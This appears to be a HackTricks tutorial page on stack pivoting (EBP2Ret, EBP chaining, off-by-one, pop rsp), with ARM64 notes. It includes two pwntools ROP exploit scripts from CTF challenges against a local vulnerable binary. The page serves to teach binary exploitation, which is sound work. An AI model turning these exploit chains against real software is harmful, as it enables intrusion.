Stack Pivoting - EBP2Ret - EBP chaining

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

This technique exploits the ability to manipulate the Base Pointer (EBP) to chain the execution of multiple functions through careful use of the EBP register and the leave; ret instruction sequence.

As a reminder, leave basically means:

mov       ebp, esp
pop       ebp
ret

And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.

EBP2Ret

This technique is particularly useful when you can alter the EBP register but have no direct way to change the EIP register. It leverages the behaviour of functions when they finish executing.

If, during fvuln's execution, you manage to inject a fake EBP in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the pop operation), you can indirectly control the EIP. As fvuln returns, the ESP is set to this crafted location, and the subsequent pop operation decreases ESP by 4, effectively making it point to an address store by the attacker in there. Note how you need to know 2 addresses: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.

Exploit Construction

First you need to know an address where you can write arbitrary data / addresses. The ESP will point here and run the first ret.

Then, you need to know the address used by ret that will execute arbitrary code. You could use:

• A valid ONE_GADGET address.
• The address of system() followed by 4 junk bytes and the address of "/bin/sh" (x86 bits).

• The address of a jump esp; gadget (ret2esp) followed by the shellcode to execute.
• Some ROP chain

Remember than before any of these addresses in the controlled part of the memory, there must be 4 bytes because of the pop part of the leave instruction. It would be possible to abuse these 4B to set a second fake EBP and continue controlling the execution.

Off-By-One Exploit

There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can only modify the least significant byte of the EBP. In such a case, the memory location storing the address to jumo to with the ret must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions. Usually it's modified the byte 0x00t o jump as far as possible.

Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.

EBP Chaining

Therefore, putting a controlled address in the EBP entry of the stack and an address to leave; ret in EIP, it's possible to move the ESP to the controlled EBP address from the stack.

Now, the ESP is controlled pointing to a desired address and the next instruction to execute is a RET. To abuse this, it's possible to place in the controlled ESP place this:

• &(next fake EBP) -> Load the new EBP because of pop ebp from the leave instruction

• system() -> Called by ret

• &(leave;ret) -> Called after system ends, it will move ESP to the fake EBP and start agin

• &("/bin/sh")-> Param fro system

Basically this way it's possible to chain several fake EBPs to control the flow of the program.

This is like a ret2lib, but more complex with no apparent benefit but could be interesting in some edge-cases.

Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
    0x0,               # rbp (could be the address of anoter fake RBP)
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,
    elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
    buffer,         # Load leak address in RBP
    LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP might not be used

As explained in this post, if a binary is compiled with some optimizations, the EBP never gets to control ESP, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect. This is because the prologue and epilogue changes if the binary is optimized.

• Not optimized:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return

• Optimized:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Other ways to control RSP

pop rsp gadget

In this page you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a pop rsp gadget and there is a leak from the stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
    0,                 # r13
    0,                 # r14
    0,                 # r15
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and 
# continues the ROP chain in the prepared payload
payload += flat(
    POP_CHAIN,
    buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Check the ret2esp technique here:

Ret2esp / Ret2reg

References & Other Examples

• https://bananamafia.dev/post/binary-rop-stackpivot/
• https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
• https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html

  • 64 bits, off by one exploitation with a rop chain starting with a ret sled

• https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html

  • 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing .fini_array entries + calling __libc_csu_fini (more info here). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.

ARM64

In ARM64, the prologue and epilogues of the functions don't store and retrieve the SP registry in the stack. Moreover, the RET instruction don't return to the address pointed by SP, but to the address inside x30.

Therefore, by default, just abusing the epilogue you won't be able to control the SP registry by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.

• prologue

  sub sp, sp, 16
  stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
  mov x29, sp             // FP points to frame record

• epilogue

  ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
  add sp, sp, 16
  ret

The way to perform something similar to stack pivoting in ARM64 would be to be able to control the SP (by controlling some register whose value is passed to SP or because for some reason SP is taking his address from the stack and we have an overflow) and then abuse the epilogue to load the x30 register from a controlled SP and RET to it.

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.